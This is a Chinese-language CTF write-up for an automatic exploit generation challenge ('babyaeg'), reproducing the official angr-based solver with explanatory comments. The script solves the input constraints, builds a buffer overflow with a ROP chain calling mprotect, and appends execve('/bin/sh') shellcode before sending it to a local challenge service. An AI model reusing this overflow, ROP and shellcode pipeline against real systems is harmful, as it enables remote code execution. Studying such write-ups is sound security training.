大概就是三秒嘛
咱拿一个文件下来瞅瞅
可以说啥都没有吧
看起来似乎非常的麻烦
我们一点一点分析
ZZ返回0,没啥用,就是设了个随机数种子是0
后面也没用过随机数
对输入进行一个处理
上面那一堆看起来很麻烦,但其实没用
有用的就是下面payload异或那个
然后需要从b16一路过表达式,才能调到b0
两个字符串对比,payload前一部分对比,后面就可以复制到dest形成溢出。
那让我们来看官方脚本学一学解题思路
from angr.sim_options import LAZY_SOLVES
import datetime
import angr
import claripy
from angr.sim_options import ZERO_FILL_UNCONSTRAINED_MEMORY, unicorn
from pwn import *
import logging
import codecs
l = logging.getLogger('babyaeg')
logging.getLogger('angr.state_plugins.symbolic_memory').setLevel(logging.CRITICAL)
logging.getLogger('angr.storage.memory_mixins.default_filler_mixin').setLevel(logging.CRITICAL)
logging.getLogger('angr.storage.memory_mixins.bvv_conversion_mixin').setLevel(logging.CRITICAL)
#logging是日志模块
#用logging.getLogger(name)方法进行初始化
#就像函数名一样用来输出状态
def print_statement(state):
#
statement = state.inspect.statement
irsb = state.scratch.irsb.statements[statement]
l.critical('statement:%s %s' %(statement, irsb))
def handle_call(state):
function_address = state.inspect.function_address
function_address = state.solver.eval(function_address)
count = state.globals['call_count']
count += 1
state.globals['call_count'] = count
if count == 17:
state.globals['find'] = True
def print_exit(state):
guard = state.inspect.exit_guard
if guard.op == '__ne__':
state.inspect.exit_guard = claripy.false
def aeg(binary):
#载入项目,但是不分析lib库
p = angr.Project(binary, load_options={'auto_load_libs':False})
#拿到两个plt表的值与一个got表的值
memcpy = p.loader.main_object.plt['memcpy']
puts = p.loader.main_object.plt['puts']
mprotect_got = p.loader.main_object.imports['mprotect'].rebased_addr
#载入基本代码块
#然后在代码块搜索代码
block = p.factory.block(p.entry).capstone
for insn in block.insns:
if 'mov rdi' in str(insn):
main_addr = int(str(insn).split(',')[1], 16)
elif 'mov rcx' in str(insn):
init_addr = int(str(insn).split(',')[1], 16)
#找到main函数
block_addr = main_addr
count = 0
v = []
find = False
#
while True:
if find:
break
block = p.factory.block(block_addr)
for insn in block.capstone.insns:
if 'xor' in str(insn):
v.append(int(str(insn).split(',')[1], 16)&0xffff)
elif 'call %s' %hex(puts) in str(insn):
count += 1
if count == 3:
start = insn.address + 5
elif count == 4:
avoid = insn.address - 5
find = True
break
elif (('mov dword ptr [rip') in str(insn)) & ('eax' in str(insn)):
g_size = insn.address + int(str(insn).split('+')[1].split(']')[0], 16) + 6
elif 'lea rax, [rip +' in str(insn):
g_buff = insn.address + int(str(insn).split('+')[1].split(']')[0], 16) + 7
block_addr += block.size
xor_byte = p16(v[0]) + p16(v[1])
#起了个状态
data = claripy.BVS('arg', 0x60*8)
state = p.factory.blank_state(addr=start, add_options={LAZY_SOLVES})
state.options.add(ZERO_FILL_UNCONSTRAINED_MEMORY)
state.options.add(LAZY_SOLVES)
state.memory.store(g_buff, data)
state.memory.store(g_size, 2000, endness='Iend_LE')
state.globals['input'] = data
state.globals['status'] = 0
state.globals['call_count'] = 0
state.globals['find'] = False
#用了两个hook
state.inspect.b('call', when=angr.BP_BEFORE, action=handle_call)
state.inspect.b('exit', when=angr.BP_BEFORE, action=print_exit)
simgr = p.factory.simgr(state)
#定义了两个函数
def encode_payload(xor_byte, payload):
v = []
for i in range(int(len(payload)/4)):
for j in range(4):
v.append(xor_byte[j]^payload[4*i+j])
return bytes(v)
#遍历active状态,找到里面有溢出的状态
def log_state(simgr):
for state in simgr.active:
if state.globals['find']:
simgr.stashes['overflow'].append(state)
simgr.stashes['active'].remove(state)
return simgr
#simgr.explore(step_func=log_state, find=[0x91482FB], avoid=[avoid])
simgr.explore(step_func=log_state)
#用z3去过约束
state = simgr.stashes['overflow'][0]
input_data = (state.solver.eval(state.globals['input'], cast_to=bytes))
#再次在溢出的代码块中把有加密的那个字符串取出来
block_addr = state.solver.eval(state.regs.pc)
status = 0
find = False
while True:
if find:
break
block = p.factory.block(block_addr)
for insn in block.capstone.insns:
#l.warning('insn:%s' %insn)
if 'lea rax, [rip + ' in str(insn):
status += 1
if status == 2:
v = insn.address + int(str(insn).split('+')[1].split(']')[0], 16) + 7
cmp_data = state.solver.eval(state.memory.load(v, 8), cast_to=bytes)
l.info('cmp:%s' %cmp_data)
if 'lea rax, [rbp -' in str(insn):
offset = int(str(insn).split('-')[1].split(']')[0].strip(), 16)
find = True
block_addr += block.size
enc_payload = input_data
enc_payload += cmp_data
#l.warning('offset=%d\n' %offset)
enc_payload += offset*b'a'
sc_addr = g_buff + 900
#最后一段将数据都整合起来,包括过约束的,包括填充,最后利用的rop链
pop6_ret = init_addr + 0x5a
rop = p64(pop6_ret) + p64(0) + p64(1) + p64(mprotect_got) + p64(g_buff&0xfffffffffffff000)+p64(0x2000) + p64(7)
rop += p64(init_addr+0x40) + p64(sc_addr)*10
enc_payload += rop
#print ('length=%d' %len(enc_payload))
enc_payload = enc_payload.ljust(900, b'\x90')
enc_payload += b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
#l.warning('xor_byte:%s' %xor_byte)
enc_payload = encode_payload(xor_byte, enc_payload)
enc_payload = codecs.encode(enc_payload, 'hex')
return enc_payload
def exp():
#p = process(argv=['python', 'babyaeg.py'])
p = remote('localhost', 9999)
p.recvuntil('wait...\n')
d = p.recvuntil('here')[:-4].strip()
with open('./1.bin', 'wb') as f:
f.write(d)
#把程序拿出来写进1.elf里面
starttime = datetime.datetime.now()
os.system('base64 -d 1.bin | gunzip > 1.elf')
#调用aeg函数拿到payload
payload = aeg('./1.elf')
#l.warning('input: %s' %payload)
#把payload发送回去
p.sendline(payload)
endtime = datetime.datetime.now()
print('time=%s' %(endtime - starttime))
#还计算了一下一共用了多少时间
p.interactive()
if __name__ == '__main__':
aeg('./2.elf')
exp()